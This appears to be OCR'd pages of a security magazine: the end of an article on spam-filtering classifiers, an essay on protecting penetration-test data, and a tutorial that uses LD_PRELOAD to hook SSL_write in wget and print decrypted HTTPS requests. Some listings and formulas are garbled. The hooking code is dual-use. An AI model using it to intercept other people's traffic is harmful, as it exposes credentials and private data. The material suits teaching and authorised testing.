until v converges, where P and N (p and n) are the number of positive/ negative examples in the pruning set (covered by the rule). After pruning, the examples covered by the rule are removed and the above process is repeated until there are no positive examples available or until the rule has an extremely large error rate.

The upgraded version, RIPPER differs from IREP in that it uses (i) a better-performing

$$v \equiv \frac{p-n}{p+n}$$

for pruning, (ii) a new stopping criterion (a threshold for the "description length" [8] of the rules and examples), which offers an opportunity to continue with the learning when a low-coverage rule has been created, and (iii) an additional step for optimizing the rules learned by IREP using the "minimum description length" heuristic [8].

Learning Statistical models

In this section we introduce two of the most commonly used statistical models for spam filtering – Naïve Bayes classifiers and Support Vector Machines [3,4].

A Naïve Bayes classifier aims to select the class y with the highest probability given a feature vector $(x_1, x_2, ..., x_n)$:

$$\begin{aligned} &\arg \max_{v} P(y|x_{1}, x_{2}, ..., x_{n}) \\ &= \arg \max_{v} \frac{P(y) P(x_{1}, x_{2}, ..., x_{n} \mid y)}{P(x_{1}, x_{2}, ..., x_{n} \mid y)} \\ &= \arg \max_{v} P(y) P(x_{1}, x_{2}, ..., x_{n} \mid y) \\ &= \arg \max_{v} P(y) P(x_{1} \mid y) P(x_{2} \mid y, x_{1}) P(x_{2} \mid y, x_{1}, x_{2}) ... P(x_{n} \mid y, x_{1}, x_{2}, ..., x_{n-1}) \\ &= \arg \max_{v} P(y) \prod_{i=1}^{n} P(x_{i} \mid y) \end{aligned}$$

The derivation is based on the Bayes' rule, chain rule and conditional independence assumptions. P(y) and $P(x_i \mid y)$ can be estimated from training data using maximum likelihood estimation. Although the independence assumptions are often inaccurate, Naive Bayes Classifiers work surprisingly well in practice, in particular when dealing with high-dimensional data.

Support Vector Machines (SVM) aim to find the maximum-margin hyperplane that separates the data.

DEFENSE PATTERN

A hyperplane can be written as $w \cdot x - b = 0$, where w is its normal vector. The nearest data points (support vectors) lie on planes $w \cdot x - b = \pm 1$, and the margin between the planes is

$$m = \frac{2}{|w|}$$
 Maximizing m is equal to: $\min_{w,b} \frac{1}{2} |w|^2$

(square for mathematical convenience), subject to $v_i(w \cdot x_i - b) \ge 1$ for any feature vector x and its label $\dot{y}(\pm 1)$ in the training data.

Using Lagrange multipliers α , this optimization problem can be converted into a dual form (a Quadratic Programming problem):

$$\min_{\alpha} \frac{1}{2} \sum_{i=1}^{n} \sum_{j=1}^{n} y_i y_j (x_i \cdot x_j) \alpha_i \alpha_j - \sum_{i=1}^{n} \alpha_i$$

subject to $\alpha_i \geq 0, \forall i$ and

$$\sum_{i=1}^n y_i \alpha_i = 0$$

where n is the number of training examples.

Once α is determined, w and b can be derived by

$$w = \sum_{i=1}^{n} y_i \alpha_i x_i$$

i=1
 Table 1. Performance of Naïve Bayes Classifier: precision and recall of [3]
 Legitimate Spam Recall Precision Recall Precision Binary features (words) 97.1% 94.3% 87.7% 93.4% 94.3% 87.8% 94.7% Binary features (words+phrases) 97.6% 96.2% 100.0% Binary features (words+phrases+domain-specific) 100.0% 98.3%

Table 2. Performance of RIPPER and SVM: false alarm rates corresponding to a 5% miss rate [4]

			SVM (TF features)	SVM (Binary features)	RIPPER
Body	Subject	Stop words			
V			.0964	.0929	.1468
v		v	.1204	.1153	.1646
V	v		.0176	.0152	.0788
V	v	v	.0270	.0317	.0858
	v		.5491	.5493	n/a
	v	v	.7188	.7576	n/a

Algorithm 2 Multistage classification

```
Require: labeled data A, unlabeled data B, C, D
   begin
   train SVM on A
   test SVM on B, C, D, output predictions \rm P_{_{B}},~P_{_{C}},~P_{_{D}}
   train Naïve Bayes Classifiers on (B, P_p), (C, P_c), (D, P_p) respectively
   test Naïve Bayes Classifiers on B, C, D, output predictions P,', P,', P,',
   revise P_a, P_c, P_n using P_a', P_c', P_n',: any e-mails labeled as spam by the Naïve Bayes Classifier is used to
                      correct the SVM's predictions.
end
```

and $b = w \cdot x_k - y_k$ for some $\alpha_k > 0$ (i.e. x_k is a support vector). This model has proved successful in many text classification tasks.

Performance of RIPPER, Nadve Bayes **Classifiers & Support Vector Machines**

The performance of an e-mail classification or spam filtering system can be evaluated in terms of precision, recall, false alarm rate, miss rate, ROC curve, etc [3,4,5]. true nositive

precision =
$$\frac{\text{frue positive}}{\text{true positive} + \text{false positive}}$$

recall =
$$\frac{\text{true positive}}{\text{true positive} + \text{false negative}}$$

spam samples misclassified false alarm rate = total spam examples

miss rate =
$$\frac{\text{nonspam samples misclassified}}{\text{total nonspam examples}}$$

ROC curve: true positive rate plotted against false positive rate.

Table 3. Personalized spam filtering: area under the ROC curve (AUC) [5]

	AUC		
	User B	User C	User D
SVM	0.84	0.87	0.94
SVM + Naïve Bayes Classifier	0.75	0.82	0.71
SVM + Naïve Bayes Classifier + revision	0.87	0.91	0.96

[3] experimented with Nadve Bayes Classifiers on a corpus of 1789 e-mails in which 1578 are spam. The classifiers were trained on 1538 e-mails and tested on 251 e-mails. As shown in Table 1, the use of domain-specific features such as overemphasized punctuations helps to improve the precision and recall a lot. [4] experimented with RIPPER and Support Vector Machines on a corpus of 3000 e-mails in which 850 are spam. The results are shown in Table 2, where v indicates whether stop words have been filtered out and whether features have been extracted from the body /subject of an e-mail. In all the cases SVM outperforms RIPPER significantly. Since SVM makes soft, probabilistic decisions, it is generally more robust than a rule-based model such as RIPPER, especially when given unfamiliar input.

Personalized spam filtering

Statistical models work well when the distribution of training and test data is similar and large amounts of training data are available. In the scenario of spam filtering, however, it is often the case that a classifier trained on public e-mail corpora does not perform well when applied to a particular users' inbox, where the word distribution might be significantly different from the training data. Given that it is impractical to build personalized training (labeled) data for each individual user – which can be extremely expensive and time-consuming or even a violation of privacy laws – methods such as co-training that can iteratively learn from both labeled and unlabeled data are preferred.

Co-training is based on the assumption that (i) features can be split into two sets, (ii) each set of features is sufficient to train a good classifier, and (iii) the two sets are conditionally independent given the class. In each iteration, two classifiers are trained on the labeled data using different sets of features. The most confident predictions of each classifier on the unlabeled data are then used to create additional labeled data to re-train the other classifier. Recently, [5] used a variation of the co-training model, where the two classifiers share the same features in the learning process, for personalized spam filtering (see Algorithm 2). 4000 e-mails from the public domain (with 50% as spam) were used as labeled data, and 2000*3 e-mails from 3 individual users were used as unlabeled and test

References

- [1] Kaspersky Security Bulletin 2011/2012 http:// www.kaspersky.com/de/downloads/pdf/kaspersky_security_bulletin_2012_de.pdf
- [2] W. W. Cohen. 1996. Learning rules that classify e-mail. In Proceedings of the 1996 AAAI Spring Symp. Inform. Access.
- [3] M. Sahami, S. Dumais, D. Heckerman, and E. Horvitz. 1998. A Bayesian approach to filtering junk e-mail. In AAAI'98 Wkshp. Learning for Text Categorization.
- [4] H. Drucker, D. Wu, and V. Vapnik, 1999. Support Vector Machines for Spam Categorization. IEEE Trans. Neural Networks. 10, 5, 1048-1054.
- [5] V. Cheng and C. H. Li. 2006. Personalized Spam Filtering with Semi-supervised Classifier Ensemble. In Proceedings of the 2006 IEEE/WIC/ACM International Conference on Web Intelligence (WI '06).
- [6] E. Blanzieri and A. Bryl. 2008. A survey of learning-based techniques of email spam filtering. Artif. Intell. Rev. 29, 1, 63-92.
- [7] J. R. Quinlan and R. M. Cameron-Jones. 1993. FOIL: A midterm report. Science 667, 3-20
- [8] J. R. Quinlan. 1995. MDL and Categorial Theories (Continued). In Proceedings of the 1995 ICML.

data. There is a clear advantage of using predictions on the unlabeled data for re-training the classifiers for personalized spam filtering, as shown in Table 3.

Conclusion

In this article we have discussed spam filtering from the perspective of natural language processing (NLP). Particularly, we have explained the features (e.g. binary features, TF-IDF, domain-specific features) and the machine learning models (e.g. RIPPER, Naïve Bayes Classifier, SVM) that are commonly used for this task, along with their performance on different data sets. In addition, we have discussed the challenges of personalized spam filtering and the possible solutions (co-training). This article is a very brief introduction of how to apply NLP techniques to spam filtering. There are many other anti-spam techniques (not limited to NLP) for service providers and end users [6], and we do need more of them given that spammers are getting smarter!

YUFAN GUO

Yufan Guo is a PhD student in computational linguistics and natural language processing at the University of Cambridge. She is particularly interested in statistical NLP and applications of NLP in real-world tasks e.g. identifying the information structure of scientific publications.

DEFENSE PATTERN

Security

Communications and why You Should Trundle

Trundle – to move slowly and heavily, typically in a noisy or uneven way.

n early 1999, I was teaching a security class. My students were talking about the Melissa virus. They asked me what I would do about it. I asked; Why are you opening attachments without knowing where they are coming from? Unless a person is expecting an attachment from me, I think I should warn them about the next email. They looked at me. They laughed at me. They thought I was an idiot.

It is such a waste of time to send an email to tell someone you are sending an attachment. Yes, but in the span of six months they were infected at least twice. I was not. Yes, I have been infected before, but not by attachments.

I always send an email explaining what is next. Go ahead laugh. None of my customers have ever received an attachment from me that they could not trust. Oh, and I have had a Joe Job pulled on me (*http:// en.wikipedia.org/wiki/Joe_job*).

When I do a security assessment I am even more painfully slow about my communications. I trundle. Why? Mostly to protect the people for whom I work. They expect me to be the Security Nazi. If I am not doing security, they certainly will not. If I am stupid enough send my passwords in email, they will think it is appropriate behavior.

I am the guy who has the Elite Attache by Zero Halliburton with a combination that is NOT 007. I bring my original contract documents locked in this case. I bring a random list of words from which to choose a password. I hash the secret values and write the password once. I am the nut who encrypts the password keys for the project. I am the one who thinks this is just not enough. I am not paranoid! Everyone is after me. Most importantly, my customers know I am deadly serious about security and when I tell them there is no way around this security measure, THEY LISTEN!

What will you get from this article?

The main focus of this article is to deal with customer communications securely. That trundling along to protect them. In this article I will tell you much of what I do, so you can better protect your customer.

It is up to you to have a secure business process. This process should fit with you and your customers. If you are on the customer end of things, these are some of the processes you should expect from your tester.

Ultimately you will be able to spot the weakness and fix it before a leak of data occurs. You will be able to see where the data is sitting from past reports and clean it up before the attack occurs.

We will talk about the tools you use for protecting data, the data you should protect, and the business processes that you must put in place.

Tools Of The Trade

The requirements for tools are: cross platform capability, easy to use, and able to increase security as needed. The basic tool set for secure communications are: a hashing tool, file encryption, whole disk encryption and VPN software.

Hashing tool for files and passwords

We need good passwords. Good passwords are random. I suck at randomness. I use the next best thing. On site with the customer, I pick the names of people from the meeting and what they were drinking. If they had a beer, coffee, or nothing I use those values as an input to the hash. I use a hashing tool and my random word list to pick something easy to remember, but something long enough to make brute force computationally painful.

In the rules of engagement we agree not to transmit the password digitally ever. We agree to use out of band communication. If my team is distributed, we do a quick phone call. No VOIP. No Skype. A cell phone is not very secure, so we make it a short call.

Password container

In a word: Mandylion. (*http://www.mandylionlabs.com*) If you are like me, you need to track many passwords for many customer engagements. You also need a place to put your own passwords. For \$250 for 5 password containers and a cradle, it is not a bad solution. Yes, above I did say I wrote my password for the project down. So a fire-rated safe is a requirement.

I do not like password software as a rule. Compromised machines under the attacker's control are not a very good place to hide a password. Screen capture by adversaries are a possibility, so again I say hard password containers are the best.

File encryption

You are going to send data. The customer is going to send credentials. You are going to send reports. I like anything that is easy to use for my customer that uses AES encryption.

My top two tools are Truecrypt and Axcrypt. They both have their place. Your customer will only tolerate one. I would encrypt with three different passwords for three different types of data, if you can get your customer to agree. I doubt it; however, it is worth a try.

Whole disk encryption

When you are transmitting big files, sometimes you cannot rely on the software and you need hardware. I like hard keys and hard disks with their own dedicated encryption chipsets. The advantage of hardware encryption from a processing standpoint makes sense. My computer is already doing a great deal of processing; why burden it with more tasks? I have not been able to find any other tools at the price of Buslink. (*http://www.buslink.com/*) These multi-key encryption tools are expensive, but when you have multi-terabyte files to protect, I do not know of a reasonable substitute.

You and I both know there are software tools that do the same thing as hardware. When I last checked, there were 30 vendors. I like the cross platform capability of hardware, and there are no licensing requirements and no contracts.

Disk Wiping

When you are done with your project, you need to clean up. Rookies/Noobes will be tempted to use a degausser on external drives. Sure it will wipe the data. You get a bonus with degaussing. The hard-drive arm will crash into the platter, and there is no reuse. So I take the opposite position for disk wiping as I do for whole disk encryption; software is better than hardware for the conservation of hard-drives.

If you are running an apple with O.S. +10 you get some really great built-in disk erasure tools. The last disk I wiped was a 250GB external. It tool 9 hours for one overwrite with zeros.

The U.S. DOD 5220-22 option is 7 overwrites and Yes it takes 7 times longer. If you are a total security nut and want to resell the drive on an auction site, the Guttman method is 35 passes. It will take 14 days for 80GB (*http://en.wikipedia.org/wiki/Gutmann_method*).

VPN software

This is very customer dependent and very platform dependent. Some customers want you attacking as if you are the real black-hat. Others want to bring you closer so they can inspect your traffic. Still others will leave it up to you. This is a topic for next month.

If you get the choice, SSH is a reasonable tool for VPN. Putty is a free, easy client. On our team we try to use industrial strength SSH client/ server. Secure CRT is one of the few vendors who makes a crossplatform client and server that customers are willing to trust.

Configuration is a pain when you are using the customer-preferred software. Expect to spend at least one hour dealing with the basics of accounts and configuration. My last customer had a great process for every operating system except a MAC.

You can never be completely ready for the customer, but be ready on your side. Two big gotchas in VPN are protocol ID 47 (for GRE and PPTP) and protocol ID 50 / 51 plus port UDP 500 (for IPSEC). These are the protocols and ports being blocked on your end by firewalls.

Data To Protect

What are you encrypting? Packet captures, virtual attack images, databases, and all output of tools and business process documents. Any data that could be used to do an attack or the reports that discuss the weaknesses of your customer must be encrypted. It must be encrypted at rest and in transit. It must be encrypted and protected for longer than it is useful to anyone.

Packet capturing

You need to prove that what you did is only what you did and not what a true attacker did while you were doing your test. Screen shots get the customer's attention. These screenshots will only be to convince the executive to spend money on fixing the problem. The technical person that the executive relies on to do the action needs more than screenshots. Packet captures are that something more. They provide the raw data. But this raw data is perfect data for the evil outsider to use to know what worked.

When you start your activities, start your capture. When you stop you capture, log the capture name. Now you need to protect this data with file encryption.

I do not think you transmit the packet captures to the client unless they make the request. Reference it in your report, but try not to give it up.

Databases and Tool output

Many tools will offer you flat files to transmit or use as input to another tool. Metasploit can be configured for a number of database back-ends. Commingling of customer data is a no-no. A simple rule is one database per customer. I know this really puts a cramp in your style, but suck it up. Protect the data.

Virtual images

I do not think you should use a physical host with software installed. It is too messy to clean up afterwards when you have finished your test. Virtual images are around 14-40 GB. The price of a 1 TB drive costs less than \$100 U.S., and 2 TB a fireproof, waterproof enclosure is currently \$259. You can use these drives to make copies of your reference image for each customer. We will talk about reference labs in a few months.

Start with a clean image. Do your testing. You will end up with a dirty image that has customer data in it. You may refer back to this image when you are writing your report. Keep it encrypted and on a separate drive. (I know before I said hard disk encryption is best, but it may be cost prohibitive.) Truecrypt has a hidden partition feature so that if someone steals the drive they think "format free disk space" not "let us see what is on the disk."

All this sounds like a lot of work?

So far this is all punishment and no reward; or as my dad would say, "all stick and no carrot" (*http://en.wikipedia.org/wiki/Carrot_and_stick*).

Let us go back to the previous data point of packet captures. If you captured packets in the virtual machine, they are encrypted. When you encrypt them in the virtual machine and pull them out for your summary or report, they remained encrypted for the entire time. This is critical to all your business processes.

Here is the good part: If you use whole disk encrypted virtual machines and you keep all your tools' outputs inside the virtual machine until you need the report output, you are protected. This means everything: packet captures, virtual images, databases, all output of tools and business process documents.

Client scope request and data

Here is the problem- Clients are not going to do what you want. They are going to do what they want. The client looks at your contract and wants to make adjustments. You have two choices. Teach them your encryption process or communicate in abstract terms. The first idea is fraught with pain unless you are a patient teacher and willing to spend the time. The second idea may be easy for your clients, but it opens you up to passing data in the clear.

A third option is to state your policy in an email signature block and remind the client at the beginning of the contract and at reasonable intervals.

You get to customize your process to fit the job and your customer.

Report output

Now we have a chance to protect the client's data. Sending the report from your mail server to theirs means there are at least four possible copies. If you and they have a data retention policy and a backup mailbox policy, you will have two copies you know about and two copies you don't know about. You have a copy in your sent mail. Your server might backup the outbound email. Their server might backup a copy and they might never delete it. If you use a self-executable like Axcrypt, you can protect it in all four places.

From cradle to grave or start to finish ALWAYS keep it secure. Whatever process you decide to implement, this is your trust that the customer has placed in you. Don't abuse that trust.

Business process documents

These documents tell the customer what to expect as encryption behavior from your team. Keep instructions as clear as possible. For example, give simple statements such as, "We will not send the password via email or text message." I do an hour long discussion with my customers followed up with a detailed email and website to ensure clear communication. Be ready to explain your process. Instructions are never as clear as we think they are.

Closing out the report and putting away the data

Hand all the data over in encrypted form. Burn a DVD of the project report data and your captures for backup with all data encrypted under a superkey. Move the superkey to a physical vault. Delete the keys from your digital vault. Wipe the disk where the working image was copied.

Your customer will fight you

The goal is to convince your customer that they need even more security for communications about the test. All along the way, from the first discussion about penetration testing to the final report, all this data needs to be handled delicately.

We need to deal with the expectation of privacy, how we are perceived by the customer to treat their data, and the level of trust they are placing in our ability to deliver.

For the majority of my customers it is unlikely that I will convince them to take security as seriously as I do. At least they are trying. They are asking for a penetration test. They are budgeting for the fixes, and we must carry them the rest of the way.

Penetrating Testing business

What the customer wants may not be right, good, or secure.

No they are not going to set up PGP, digital signatures or a secure drop box. Yes they want to use email. Ask yourself realistically, what are your customers willing to do?

Post Script

For me: After writing this article, I decided to change my process so that it is more robust for the future.

For you: You should take the best from me, add what is unique to you and make your customer feel good about the security measures you have taken to protect the data. If you come up with something better, share it: *Dean.Bushmiller@ExpandingSecurity.com*.

For the customer: expect more, expect to trundle, and expect a security nut like me.

DEAN BUSHMILLER

Dean Bushmiller is a proud recipient of six mission coins for his work in information security training; he has never been in the military. He consults on security and penetration testing. He is the lead trainer for ExpandingSecurity.com. Dean specializes in distance learning for the security professional. He has been teaching the CISSP, CEH, ISSAP, and ISSMP on line continuously for 3 years and security and technology for 12.





You can talk the talk. Can you walk the walk?

IT'S IN YOUR DNA

LEARN

Advancing Computer Science Artificial Life Programming Digital Media Digital Video Enterprise Software Development Game Art and Animation Game Design Game Programming Human-Computer Interaction Network Engineering

Network Security Open Source Technologies Robotics and Embedded Systems Serious Games and Simulation Strategic Technology Development Technology Forensics Technology Product Design Technology Studies Virtual Modeling and Design Web and Social Media Technologies

www.uat.edu > 877.UAT.GEEK

Please see www.uat.edu/fastfacts for the latest information about degree program performance, placement and costs.

PENETRATION TESTING

Overriding Function Calls in Linux

Function hooking and overriding plays a vital role in penetration test of thick client application. In this article we will discuss how shared libraries in Linux environment can be overridden with out recompiling the code. By overriding the function calls we can sniff the communication protocol, modify the communication parameters and fuzz the communication protocol.

Pen-testing a thick client Linux application involves reverse engineering. Reverse engineering is multi step process in which assessor has to inject malicious code, decompile, disassemble, and debug the application to understand the internals of application.

Now-a-days applications are more complex and utilize shared libraries for code reusability. If an assessor can sniff the communication between different modules of an application, it will provide him insight details of how these modules communicate. By leveraging this knowledge an assessor can eventually fuzz the communication protocol to uncover vulnerabilities. Shared library calls can be overridden/hooked easily by using function interposition technique.

Background

In Linux system generally there are two types of libraries. Static libraries (.a) file and Dynamic libraries (.so) file. When a program is compiled with dynamic libraries, list of un-resolved symbols and list of libraries that program is linked-to are included in the binary file.



Figure 1. Illustration of symbols resolution at run-time

Upon execution the un-resolved symbols are resolved at run-time by linked libraries. The linked library that responds first will receive the call.

In above illustration the binary file has an un-resolved symbol for function foo. Lib A has the implementation of function foo and if libA responds first at run-time to resolve this symbol, it will receive the call.

Hacking WGET

Let's consider an example application wget. Wget is a console-based web downloader, which can interact with HTTPS in addition to HTTP web sites. For SSL/ HTTPS communication wget relies on OpenSSL library. OpenSSL is open source implementation of SSL/TLS and allow applications to interact easily with SSL/TLS based web sites.

We can download https web sites using wget as shown Listing 1.

By executing the above command the output should be as follows: Figure 2.

You can see from Figure 2 that wget is able to download index.html from *https://mail.yahoo.com*. Lets assume that we want to figure out the http request headers generated by wget. The first step to achieve this task would be to figure out the shared libraries used by wget. We can use ldd utlility as follows: Figure 3.

By using Idd we can observe that wget is using libssl.so.0.9.8, which is OpenSSL library to communicate over HTTPS channel.

Listing 1. Wget command

wget https://mail.yahoo.com --no-check-certificate



Figure 2. Downloading page using wget

Since libssl.so.0.9.8 is a shared library we can easily lookup the list of un-resolved symbols by using nm utility from wget binary (Figure 4).

In the output illustrated in Figure 4, "U" represents un-resolved symbol followed by function names. This is the actual representation of block diagram illustrated in Figure 1. These functions will be resolved at run-time by the library, which responds first to the particular symbol; in this case it would be libssl.so.0.9.8.

Function Interposition

Function interposition is technique in which an arbitrary library is loaded to respond to original program to resolve the symbol, before the original library responds. So with function interposition the Figure 1 can be illustrated as: Figure 5. So back to our objective, if we can simply make our arbitrary library to respond to un-resolved symbols first at run-time we should be able to receive calls generated by the program.

How can we do that? Well the answer is simple. This can be accomplished easily by using $_{LD_{}}$ PRELOAD environment variable. By setting $_{LD_{}}$ PRELOAD environment variable we provide a list of shared libraries to a loader, which essentially load them before loading any other libraries (as word preload implies).

Refer to Figure 4 you can see there are 2 interesting functions that can help us.

- ssl_read
- ssl_write

```
umz@bt:~$ ldd /usr/bin/wget
    linux-vdso.so.1 => (0x00007fff579ff000)
    libsl.so.0.9.8 => /lib/libssl.so.0.9.8 (0x00007f319fd32000)
    libcrypto.so.0.9.8 => /lib/libcrypto.so.0.9.8 (0x00007f319f9a2000)
    libdl.so.2 => /lib/libdl.so.2 (0x00007f319f79d000)
    libtr.so.1 => /lib/libt.so.1 (0x00007f319f79d000)
    libc.so.6 => /lib/libc.so.6 (0x00007f319f22000)
    libz.so.1 => /lib/libz.so.1 (0x00007f319f1900)
    libt.so.1 => /lib/libz.so.1 (0x00007f319ffa000)
    libt.so.0 => /lib/libt.so.2 (0x00007f319ffa000)
    libt.so.0 => /lib/libt.so.1 (0x00007f319ffa000)
    libt.so.0 => /lib/libt.so.2 (0x00007f319ffa000)
    libt.so.0 => /lib/libt.so.2 (0x00007f319ffa000)
    libt.so.0 => /lib/libt.so.0 (0x00007f319eddd000)
```

Figure 3. List of shared libraries used by wget

umz@bt:~\$ nm -D /u	sr/bin/wget grep SSL
U	OPENSSL_add_all_algorithms_noconf
U	SSL_CTX_ctrl
U	SSL_CTX_free
U	SSL_CTX_load_verify_locations
U	SSL_CTX_new
U	SSL_CTX_set_default_verify_paths
U	SSL_CTX_set_verify
U	SSL_CTX_use_PrivateKey_file
U	SSL_CTX_use_certificate_file
U	SSL_connect
U	SSL_free
U	SSL_get_error
U	SSL_get_peer_certificate
U	SSL_get_verify_result
U	SSL_library_init
U	SSL_load_error_strings
U	SSL_new
U	SSL_peek
U	SSL_pending
U	SSL_read
U	SSL_set_connect_state
U	SSL_set_fd
U	SSL_shutdown
U	SSL_write
U	SSLv23_client_method
U	SSLv2_client_method
U	SSLv3_client_method
umz@bt:~\$	

Figure 4. List of un-resolved symbols in wget

PENETRATION TESTING

Listing 2. Code snippet for basic injection library



Figure 5. Visual representation of function interposition

If we can override ssl_write function by using the technique described above we should be able to see the HTTP headers generated by wget. During SSL communication there is a lot that happens behind the scene such as handshaking, agreements, etcetera. We are only interested to see the request that gets generated when the request is made by wget.

Crafting a shared library

It's time to join all the chain of concepts together and build something that can work for us. First we have to code a shared library that can respond to ssl_write call. Consider the following code snippet below: Listing 2.

In the code snippet illustrated in Listing 2, notice that the function name is same so our library can respond to the call when wget attempts to resolve it at runtime. Right after printf, exit function is called so that the calling application can display the output (as a result of function call) and exit instead of retrying to connect.

This code needs to be compiled as dynamic library as follow: Listing 3.

We can now attempt to inject this library and test it as shown below: Listing 4.

In Listing 4 we have used LD_LIBRARY_PATH (environment variable) to add current working directory as path, so loader can lookup libraries from these paths.

Upon successful execution the output should be as depicted in Figure 6.

Looks like our library injection works and we can override the function successfully.

Its time to modify the function call, so we can sniff and display the complete HTTPS request generated by wget.

At this point we need to find out the number of arguments that are passed by wget to SSL_write function. Since the function belongs to open source library OpenSSL, we can easily download the source or in fact google around to figure out the parameters.

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int SSL_write()
{
    printf("\nFunction overriding successful!!\n");
    exit(1);
}
```

Listing 3. Command to compile the shared library

Listing 4. Injection library in wget

LD_LIBRARY_PATH=.:\$LD_LIBRARY_PATH LD_ PRELOAD=libInject.so wget https: //mail.yahoo.com/ --no-checkcertificate

Listing 5. Modifying code to print HTTP request headers

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
```

int SSL_write(void* ssl, const void* buf, int num)

char *data = (char *)buf; printf("\nFunction overriding successful!!\n"); printf("The request Headers are:\n %s\n",data);

Figure 6. Successful overriding of SSL_write function



Figure 7. Displaying HTTP headers generated by wget

```
Listing 6. Code snippet to override the SSL_write function and invoke the original function
#define GNU SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn h>
static int (*libssl SSL write) (void *ssl, const void *buf, int num) = NULL;
static void *libssl handle = NULL;
void init()
   if (!libssl handle)
        libssl handle = dlopen("/lib/libssl.so.0.9.8", RTLD NOW|RTLD GLOBAL);
        if ((error = dlerror()) != NULL)
            fprintf(stderr, "dlopen error: %s\n", error);
            exit(1);
// Get pointer to original SSL_write
   if (!libssl SSL write)
        libssl_SSL_write = dlsym(libssl_handle, "SSL_write");
        if ((error = dlerror()) != NULL)
            fprintf(stderr, "dlsym error: %s\n", error);
            exit(1);
int SSL write (void* ssl, const void* buf, int num)
        init();
       char *data = (char *)buf;
       printf("\nFunction overriding successful!!\n");
        printf("The request Headers are:\n %s\n",data);
        return libssl SSL write(ssl, buf, num);
```

PENETRATION TESTING



Figure 8. Overriding function seamlessly using function interposition

With slight modification the final code for injection library is: Listing 6.

In above code snippet we have added a function <code>init()</code> that takes the handle of original libssl library. It then passes the handle to dlsym function along with the name of original function (<code>SSL_write</code>) to resolve the symbol. Basically we are now resolving the symbol to original function call so that the original function can be called after sniffing the parameters. <code>libssl_SSL_write</code> is a function to a pointer which holds the address to memory



Figure 9. Output showing that call to original function is successful

From http://www.openssl.org/docs/ssl/SSL_write.html we can see that SSL_write function accepts 3 parameters, which are SSL *ssl, const void *buf, int num. If the library doesn't belong to open source, you can reverse engineer the parameters by using IDA pro or GDB. Simply set the break point on function call and trace back the argument. Let's modify the ssl_write function in our library to accept all the required parameters. In above code snippet, we have attempted to cast void *buf to char* and print it, since this parameter holds the request that needs to be sent via SSL.

By compiling and executing the code we get the following output. Sweet! We can now see the original HTTP request generated by wget.

Our code isn't complete yet. We have successfully overridden the function and captured the arguments however; we need to make the calls to original function so wget can perform normally and our function overriding should work seamlessly.

Fortunately this is also a very easy part. We can use dlopen and dlsym functions that implement the interface to dynamic link loader. Using dlopen we can get the handle of original library that can then be used with dlsym to resolve the symbol to original function call. I would highly recommend using man pages for dlopen and dlsym for further clarification.

With this change the Figure 5 can now be depicted as: Figure 8.

region where symbol is loaded. We will now call <code>libssl_ssl_write</code> to invoke calls to original function.

It's time to compile and test the code. Great. We are now able to hook the function call, sniff the request parameter and call the original function.

This technique is very useful to hook function calls, modify the argument or even fuzz the communication protocol to discover vulnerabilities.

This technique will work with shared libraries only. To override statically compiled libraries, you will need to modify the global offset table and apply other related techniques. Library hooking /overriding is vast topic and different techniques are used to address different requirements.

UMAIR MANZOOR

Umair Manzoor (UmZ) is working as a security consultant with Cigital. He has a diverse background in security consulting, operations, research & development.

UmZ has published exploits and papers over more than 200 international information security forums. His areas of expertise are Reverse engineering, vulnerability assessment, penetration testing of mobile and thick client applications and Architecture Risk Analysis.

Email: umz32.dll@gmail.com

LinkedIn: http://www.linkedin.com/in/umz32

Atola Insight

That's all you need for data recovery.

Atola Technology offers *Atola Insight* – the only data recovery device that covers the entire data recovery process: *in-depth* **HDD diagnostics**, **firmware recovery**, **HDD duplication**, and **file recovery**. It is like a whole data recovery Lab in one Tool.

This product is the best choice for seasoned professionals as well as start-up data recovery companies.

Emphasized features at a glance:

- Automatic in-depth diagnostic of all hard drive components
- Automatic firmware recovery and ATA password removal
- Very fast imaging of damaged drives
- Imaging by heads

- Case management
- Real time current monitor
- Firmware area backup system
- Serial port and power control
- Write protection switch



Visit <u>atola.com</u> for details



CODENAME: SAMURAI SKILLS COURSE

Penetration Test Training Samurai Skills

- You will learn Real World Hacking Techniques for Targeting , Attacking , Penetrating your target
- Real Live Targets (Websites, Networks, Servers) and some vmware images
- Course Instructors are Real Ethical Hackers With more than 7
- years Experience in Penetration Testing
- ONE Year Support in Forums and Tickets
- Every Month New Videos (Course Updated Regularly)
- Suitable Course Price for ONE Year Support
- Take Our course at your own pace (any time, any where)
- Our Course is Totally Different from Other Courses (new Techniques)





From the researcher who was one of the first to identify and analyze the infamous industrial control system malware "Stuxnet," comes a book that takes a new, radical approach to making Industrial control systems safe from such cyber attacks: design the controls systems themselves to be "robust."

Ralph Langner started a software and consulting company in the industrial IT sector. Over the last decade, this same company, Langner Communications, became a leading European consultancy for control system security in the private sector. The author received worldwide recognition as the first researcher to technically, tactically, and strategically analyze the Stuxnet malware.

> www.momentumpress.net 222 E. 46th Street, #203 New York. NY 10017